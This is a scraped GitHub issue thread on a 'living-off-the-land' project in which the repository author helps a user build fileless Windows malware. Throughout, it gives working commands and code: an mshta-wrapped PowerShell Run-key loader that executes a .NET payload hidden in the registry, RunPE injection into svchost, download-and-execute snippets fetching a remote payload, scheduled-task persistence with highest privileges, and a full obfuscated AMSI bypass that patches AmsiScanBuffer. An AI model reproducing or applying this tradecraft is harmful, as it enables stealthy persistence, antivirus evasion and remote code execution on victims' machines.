Code Monkey home page Code Monkey logo

Comments (34)

bytecode77 avatar bytecode77 commented on June 20, 2024 1

When within the powershell Window itself, you type this (from your first post)

[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::CurrentUser.OpenSubKey("Software\Microsoft\Internet Explorer").GetValue($Null)).EntryPoint.Invoke(0,$Null)

My previous reply is what you need to type when you're in cmd.exe. The exact string depends. In powershell, you obviously don't have to use powershell "...", but you can type the command directly and therefore you don't need to escape quotes, etc.

image

from living-off-the-land.

bytecode77 avatar bytecode77 commented on June 20, 2024 1

That's because the function definition in Injector.exe is:

public static void Main()

which matches Invoke(0,$Null).

I'm guessing your other C# project has an entry point with static void Main(string[] args). You need to either remove the args then, or match the Invoke by specifying an empty string array.

from living-off-the-land.

bytecode77 avatar bytecode77 commented on June 20, 2024 1

The initial startup is a value in HKCU\...\Run\ with following commandline:

mshta "javascript:close(new ActiveXObject('WScript.Shell').run('powershell \"[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::CurrentUser.OpenSubKey(\\\"Software\\\\Microsoft\\\\Internet Explorer\\\").GetValue($Null)).EntryPoint.Invoke(0,$Null)\"',0))"

(mshta is just there to hide the powershell window as described in the readme.

The C# executable is stored directly in HKCU\Software\Microsoft\Internet Explorer\(default) and is not encoded in any way. This is because there is a harsh limit on the commandline of 260 chars. Because this registry value can't be hidden by the null-trick, if must be somewhat "burried deep" in the registry, hence the Internet Explorer key.

Now, when you look at the injector, you see what it does and why it's called "injector":

	public static void Main()
	{
		string path = Environment.Is64BitOperatingSystem ? @"C:\Windows\SysWOW64\svchost.exe" : @"C:\Windows\System32\svchost.exe";
		byte[] payload = Decompress(Decrypt(Resources.Payload));
		RunPE.Run(path, payload);
	}

It loads a C++ executable from its resources and starts it using RunPE. The created process is shown as "svchost.exe". If you want a C# executable instead of a native C++ exe, then it actually gets easier for you. The step from the injector to the native executable is only required because powershell can only invoke C# code, but not native C++ code.

Just replace the main method of Injector with your downloading code and your code will then run in the context of powershell.

Basically something like this:

byte[] x= new System.Net.WebClient().DownloadData("url");
Assembly.Load(x).EntryPoint.Invoke(....);

Make sure to get x86 vs x64 right. It might be a bit tricky to figure out what bitness is actually used, so make sure to test it properly.

from living-off-the-land.

bytecode77 avatar bytecode77 commented on June 20, 2024 1

Do you have a notebook that is connected through WiFi? This could be a race condition where you don't have an internet connection at the time the payload is executed. You would need to retry this in a loop for a certain period of time.

And since debugging this is next to impossible - what I typically do is implement an exception handler and write the exception into a file like C:\mytest.log to actually see what is going on. This will probably give you a very good clue.

from living-off-the-land.

bytecode77 avatar bytecode77 commented on June 20, 2024 1

At this point, I would also need to start guessing and trial & erroring around.

One thing that you could try is tagging the Main method with the STAThread attribute like [STAThread]public static void Main() and when creating new threads, setting the appartment state to STA before starting them - maybe also trying MTA. Honestly, I don't know why powershell invoked C# executables have issues with threads. You could try to start up your C# executable normally without LOTL and see wheter it works there. This way you can be sure that it has to do with the LOTL setup.

As a side note: C:\mytest.log may not be writable - so make sure that logs can be created at all. When using logfiles to track exceptions, make sure to include a log write between every single line of code, starting at the entry point. You'll be surprised where exceptions can occur.

Also check the Windows EventViewer - powershell errors and .NET exceptions are logged there.

Other than that, that's really a thing of debugging & trying out ideas. You'd be stunned at how much time I spent at certain features in my projects, especially my rootkit. Hacking can in some cases be an increadibly time consuming tasks, because "little things" are no longer trivial.

Try what comes to your mind, and let me know if you figured it out :)

from living-off-the-land.

bytecode77 avatar bytecode77 commented on June 20, 2024 1

but isn't HKLM supposed to run as admin?

It's specified by Microsoft to start the executable with user privileges.

is there a better way of doing this? without dropping anything to the disk

Not sure what exactly you're working on... But LOTL applications are always a bit tricky to implement. It's tempting to "just drop" something on the disk, but that would defeat the whole purpose of it. In the end, it's tinkering with application logic - a common programmer task. However, LOTL makes it significantly trickier. Process injection is actually implemented using RunPE in the demo. But that applies to native executables, not .NET executables.

You said you copy your executable into the registry and then download another executable to inject into a remote process? That doesn't sound like something where you need to drop anything. Can you precisely describe the execution flow including each step and whether an executable is native or .NET?

from living-off-the-land.

bytecode77 avatar bytecode77 commented on June 20, 2024 1

You don't really need the AMSI bypass to get your LOTL setup running. I've implemented it in r77, because I encountered AV issues - But you can just skip it.

The commandline length limitation of MAX_PATH (260) only applies, if you are using the registry value, or if you start schtasks.exe. In r77, I don't start schtasks.exe, but I use the COM API instead.

What I would suggest is to remove the AMSI part, if you create the scheduled task using Process.Start(schtasks.exe).

from living-off-the-land.

bytecode77 avatar bytecode77 commented on June 20, 2024 1

This is a tricky thing... This is the code that creates the string. As you can see, the C++ string itselt must be escaped, then the args of mshta.exe - adn within that run('') - and within that the strings of the powershell command.

So the tricky part is to get the multiple layers of string escaping right. It took me an hour or so to come up with this:

LPCWSTR startupCommand = L"mshta \"javascript:close(new ActiveXObject('WScript.Shell').run('powershell \\\"[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::CurrentUser.OpenSubKey(\\\\\\\"Software\\\\\\\\Microsoft\\\\\\\\Internet Explorer\\\\\\\").GetValue($Null)).EntryPoint.Invoke(0,$Null)\\\"',0))\"";
LPCSTR runCommand = "\"[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::CurrentUser.OpenSubKey(\\\"Software\\\\Microsoft\\\\Internet Explorer\\\").GetValue($Null)).EntryPoint.Invoke(0,$Null)\"";

What you can do is go to your scheduled task, copy the command and paste it in cmd.exe to see what actually happens. Process Monitor might be useful to really see what exact commandline is executed. Or try it without mshta at first to get the inner query right, then add mshta.

Have fun fiddeling ;)

from living-off-the-land.

bytecode77 avatar bytecode77 commented on June 20, 2024 1

Have a look at r77's CreateScheduledTask function. It's written in C++, though. But basically, using the API's instead of invoking schtasks.exe is a cleaner solution and it allows you to specify an arbitrarily long commandline.

I haven't done any research on how to implement the native API using C#. One thing I've found is this, which you may find useful as a source-code reference.

from living-off-the-land.

bytecode77 avatar bytecode77 commented on June 20, 2024 1

If New-ScheduledTaskAction works, that's good news. Never tested it myself, though.

This repository is just what I've found after a quick google search. You could just look for the shortest C# code example that creates scheduled tasks - and boil it down to an essence. Because obviously you don't want to include an entire library in your executable. It's just easier to look at existing and working code rather than writing the P/Invoke part from scratch yourself. You could then go ahead and strip down the code to exactly what you need in order to create the schedules task.

It's effort, but as a result you have a direct C# implementation for your scheduled task that is not limited by MAX_PATH.

from living-off-the-land.

bytecode77 avatar bytecode77 commented on June 20, 2024

The correct commandline is:

powershell "[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::CurrentUser.OpenSubKey(\"Software\\Microsoft\\Internet Explorer\").GetValue($Null)).EntryPoint.Invoke(0,$Null)"

It's important to get double escape characters right.

from living-off-the-land.

FZKiritsugu avatar FZKiritsugu commented on June 20, 2024

3434

I've been trying for so long it just doesn't seem to work no matter what i do

from living-off-the-land.

FZKiritsugu avatar FZKiritsugu commented on June 20, 2024

i see, true, it's working fine, but trying it with another c# program i get :

Exception calling "Invoke" with "2" argument(s): "Parameter count mismatch."

I'm using the same powershell command to test it out

from living-off-the-land.

FZKiritsugu avatar FZKiritsugu commented on June 20, 2024

you were right, i removed "string[] args" from the main entry and it worked! ^^
Thank you so much for your support!

from living-off-the-land.

FZKiritsugu avatar FZKiritsugu commented on June 20, 2024

hey, so i have a program made in c# that acts as the payload, i have a byte[] x= new System.Net.WebClient().DownloadData() but its not getting executed, it's getting executed fine when i run it through powershell with the command above but when i restart my pc and it gets executed through registry run, then it's stops at that specific command..

from living-off-the-land.

bytecode77 avatar bytecode77 commented on June 20, 2024

Although I don't know exactly what your code looks like:

If your payload is written in C++ like in the demo, you need: Installer (C++) -> Injector (C#) -> Payload (C++)
If your payload is written in C#, it is very comfortably: Installer (C++ or C# if you like) -> Payload (C#).

And you could just run the payload in the powershell context by invoking Main. The injector part is only passing execution along to a native C++ executable using RunPE. But if you use C# for your payload, you can just skip the RunPE part.

Also note that I've included a simple XOR encryption to demonstrate encryption of the executable resource. I've seen some people struggeling because they didn't encrypt a file that was later decrypted or vice versa. Just take care of that or disable encryption completely.

from living-off-the-land.

FZKiritsugu avatar FZKiritsugu commented on June 20, 2024

is the payload the one that is written in bytes in the registry key?

i created something similar as in your project, a program (in c#) that is converted as bytes and hidden in the registry key,
and the Run registry key. when i use the powershell command to run the program in the registry key, it works fine, but when it runs automatically through registry key on logon then it stops at byte[] x= new System.Net.WebClient().DownloadData("url")

the program that is written in bytes in reg key doesn't have any kind of encryption

from living-off-the-land.

FZKiritsugu avatar FZKiritsugu commented on June 20, 2024

i see, what i have is just a c# program (hidden in HKCU\Software\Microsoft\Internet Explorer(default)) that is not loading the payload through resources but instead it downloads it using byte[] x= new System.Net.WebClient().DownloadData("url") then later on it injects it using runpe (because the payload is native). When ran through powershell it successfully injects it into the process, but letting it run by itself (on logon) is not working, stops at exactly byte[] x= new System.Net.WebClient().DownloadData("url")

The registry Run registry key is the exact same as in your project and it successfully starts the program but just stops at that command

from living-off-the-land.

FZKiritsugu avatar FZKiritsugu commented on June 20, 2024

I'm using a virtual machine to test it out, i'm pretty sure it has internet connection before starting up, but i can add a delay to further test it out

i added an exception handler on that specific command but it just didn't create any file with any error

from living-off-the-land.

FZKiritsugu avatar FZKiritsugu commented on June 20, 2024

ok so i figured it out, i was using new Thread(delegate () { R.Func(); }).Start(); and for some reason it couldn't download the data as bytes, also Thread.Sleep() broke the program, but how else can i do that? because i need to use threads for what i have to do

from living-off-the-land.

FZKiritsugu avatar FZKiritsugu commented on June 20, 2024

Well i just re-created the code to run without threads and it works completely fine, powershell itself has no problem with threads but for some reason starting powershell through the registry key has problems with threads..

i did try to create a log with an exception if occurred (on my desktop) but just gave me no errors at all, it just didn't proceed to the next line of code..

i will try the other methods you mentioned and i will reply back, thanks so much for your suggestions and for trying to help me!

from living-off-the-land.

FZKiritsugu avatar FZKiritsugu commented on June 20, 2024

hey, i just changed a lot the code to work mostly without threads, cause it gave me no errors but just didn't execute the next code..

what my problem is that i have the startup registry key in HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run but it's not actually starting it as admin

it executes the binary that is inside HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer

from living-off-the-land.

bytecode77 avatar bytecode77 commented on June 20, 2024

One more thought on the threading issue: Does your main thread create & start a new thread and then simply terminate? What happens when you put a while (true) { Thread.Sleep(1000); } at the end of your main method?

Persisting elevated privileges does not work by using HKLM...\Run, because your code will start with user privileges on reboot. You could use scheduled tasks instead. I've actually implemented this in r77 Rootkit, which is completely fileless. Install.cpp creates a scheduled task that executes powershell.exe. The implementation looks complex, because it also includes AMSI bypass, etc...

But at the core of it, it's just a scheduled task instead of the registry value. You could conveniently copy the function CreateScheduledTask(LPCWSTR name, LPCWSTR directory, LPCWSTR fileName, LPCWSTR arguments) from r77api.cpp.

from living-off-the-land.

FZKiritsugu avatar FZKiritsugu commented on June 20, 2024

on the thread issue : inside the main entry i have new Thread(delegate () { Func.Exec(); }).Start(); and inside Func.Exec() i have

using (new WebClient())
{
	var Data = new WebClient().DownloadData("URL");
} 

After that command nothing else is getting executed ( i confirmed that by adding logs ).

The main program creates the thread and terminates, i have added while (true) { Thread.Sleep(1000); } but can't see any difference, but on the main entry it's executing all the code until the end.

I'll try to add schtasks instead of hklm registry, but isn't HKLM supposed to run as admin?

By the way, what i'm doing is : when the exe is executed, it will copy itself to the registry key (don't know how detected that is) then downloads the data as bytes and injects it into a process. is there a better way of doing this? without dropping anything to the disk

from living-off-the-land.

FZKiritsugu avatar FZKiritsugu commented on June 20, 2024

I see, i always use schtasks for running programs as admin but i just thought that HKLM are supposed to run as admin

Yes, when it's executed it just copies itself to registry then it downloads a native file as bytes in memory then injects it into a process (the main program that hides in registry is in c#)

from living-off-the-land.

FZKiritsugu avatar FZKiritsugu commented on June 20, 2024

Why am i limited trying to use the schtasks command (with the amsi bypass)?

var sb = new StringBuilder("");
sb.Append("function Local:Get-Delegate{");
...
...


Process.Start(new ProcessStartInfo
{
    FileName = "cmd",
    Arguments = "/c schtasks /create /f /sc onlogon /rl highest /tn " + "\"" + "Name" + "\"" + " /tr " + "'" + "powershell.exe" + "'" + "'" + $"\"{sb}\"" + "' & exit",
    WindowStyle = ProcessWindowStyle.Hidden,
    CreateNoWindow = true
});

It limits me to 244 characters

from living-off-the-land.

FZKiritsugu avatar FZKiritsugu commented on June 20, 2024

Just thought it'd be cool to implement the amsi bypass just in case..

Anyway thanks a lot for helping me out! guess i'll go without amsi bypass

from living-off-the-land.

FZKiritsugu avatar FZKiritsugu commented on June 20, 2024

Do i have to run mshta in schtasks? because powershell pops up for a split second, i tried to add mshta in schtasks but can't seem to get it working

program/script: mshta

Arguments :
javascript:close(new ActiveXObject("WScript.Shell").run("powershell \"[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::CurrentUser.OpenSubKey(\"Software\Microsoft\Internet Explorer\").GetValue($Null)).EntryPoint.Invoke(0,$Null)\"",0))

from living-off-the-land.

FZKiritsugu avatar FZKiritsugu commented on June 20, 2024

i tried for so long but schtasks converts single quotes to double quotes, plus the string is long enough that it limits me...
i don't know what other way would be possible..

from living-off-the-land.

FZKiritsugu avatar FZKiritsugu commented on June 20, 2024

i tried this but it just makes the executable a bit too long, i found New-ScheduledTaskAction that i can run with powershell, it's not limited by the length plus it accepts single quotes

from living-off-the-land.

FZKiritsugu avatar FZKiritsugu commented on June 20, 2024

any idea why this is not working?
adding just the powershell script (without mshta) works fine, but adding it inside mshta gives me
'Where-Object{$_.GlobalAssemblyCache' is not recognized as an internal or external command

been trying a whole day but can't seem to figure out how to make it work..
tried process monitor but doesn't help a lot

mshta "javascript:close(new ActiveXObject('WScript.Shell').run('powershell \"function Local:PrepRgLPMNbp{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$czoolvloOXrzvF,[Parameter(Position=1)][Type]$jUgdCGAnGt)$BQaIHrWJBOf=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(\\"ReflectedDelegate\\")),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(\\"InMe\\"+\\"mory\\"+\\"Module\\",$False).DefineType(\\"MyDelegateType\\",\\"Class,Public,Sealed,AnsiClass,AutoClass\\",[MulticastDelegate]);$BQaIHrWJBOf.DefineConstructor(\\"RTSpecialName,HideBySig,Public\\",[Reflection.CallingConventions]::Standard,$czoolvloOXrzvF).SetImplementationFlags(\\"Runtime,Managed\\");$BQaIHrWJBOf.DefineMethod(\\"Invoke\\",\\"Public,HideBySig,NewSlot,Virtual\\",$jUgdCGAnGt,$czoolvloOXrzvF).SetImplementationFlags(\\"Runtime,Managed\\");Write-Output $BQaIHrWJBOf.CreateType();}$ImlrLFMfRaFUl=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split(\\"\\\\"\\")[-1].Equals(\\"System.dll\\")}).GetType(\\"Microsoft.Win32.\\"+\\"Uns\\"+\\"afeNat\\"+\\"iveMetho\\"+\\"ds\\");$WQIJkvPPSUNuvC=$ImlrLFMfRaFUl.GetMethod(\\"Ge\\"+\\"tPr\\"+\\"ocAdd\\"+\\"ress\\",[Reflection.BindingFlags]\\"Public,Static\\",$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$GxaHXGABHULQaNhPtWW=PrepRgLPMNbp @([String])([IntPtr]);$OLRInzgZpQsyXqcgIRsHnL=PrepRgLPMNbp @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$viOYtubIdBQ=$ImlrLFMfRaFUl.GetMethod(\\"Get\\"+\\"Modu\\"+\\"leHan\\"+\\"dle\\").Invoke($Null,@([Object](\\"kern\\"+\\"el\\"+\\"32.dll\\")));$xHROOMhRHkKpvN=$WQIJkvPPSUNuvC.Invoke($Null,@([Object]$viOYtubIdBQ,[Object](\\"Load\\"+\\"LibraryA\\")));$AXHyXaoJdpJUpgLYH=$WQIJkvPPSUNuvC.Invoke($Null,@([Object]$viOYtubIdBQ,[Object](\\"Vir\\"+\\"tual\\"+\\"Pro\\"+\\"tect\\")));$NRIzJlr=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($xHROOMhRHkKpvN,$GxaHXGABHULQaNhPtWW).Invoke(\\"a\\"+\\"m\\"+\\"si.dll\\");$UekQGALStkSxtjfAC=$WQIJkvPPSUNuvC.Invoke($Null,@([Object]$NRIzJlr,[Object](\\"Ams\\"+\\"iSc\\"+\\"an\\"+\\"Buffer\\")));$OEBeUxbfJD=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($AXHyXaoJdpJUpgLYH,$OLRInzgZpQsyXqcgIRsHnL).Invoke($UekQGALStkSxtjfAC,[uint32]8,4,[ref]$OEBeUxbfJD);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$UekQGALStkSxtjfAC,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($AXHyXaoJdpJUpgLYH,$OLRInzgZpQsyXqcgIRsHnL).Invoke($UekQGALStkSxtjfAC,[uint32]8,0x20,[ref]$OEBeUxbfJD);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::CurrentUser.OpenSubkey(\\"Software\\\\Microsoft\\\\Internet Explorer\\").GetValue($Null)).EntryPoint.Invoke(0,$Null)\"',0))"

from living-off-the-land.

bytecode77 avatar bytecode77 commented on June 20, 2024

Hard to say without extensive testing. This is especially tricky, because you have multiple layers of string escaping just by wrapping the code in mshta "...". Since you are using double quotes, you need to escape all double quotes within mshta "...".

I, too, spent a lot of time figuring out string escaping this mess ;)

You could try iteratively by just putting the first piece of code in place to see whether there is a syntax error. Then try fixing string escaping at the location you pointed out. You can paste the whole line in cmd.exe, which speeds up testing.

from living-off-the-land.

FZKiritsugu avatar FZKiritsugu commented on June 20, 2024

i think javascript:close has a length limit because powershell will no longer show in process monitor after 511 characters

from living-off-the-land.

FZKiritsugu avatar FZKiritsugu commented on June 20, 2024

how is r77 rootkit running the schtasks command without powershell window popping up?
edit: nvm figured it out, just had to run as system

from living-off-the-land.

Related Issues (11)

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.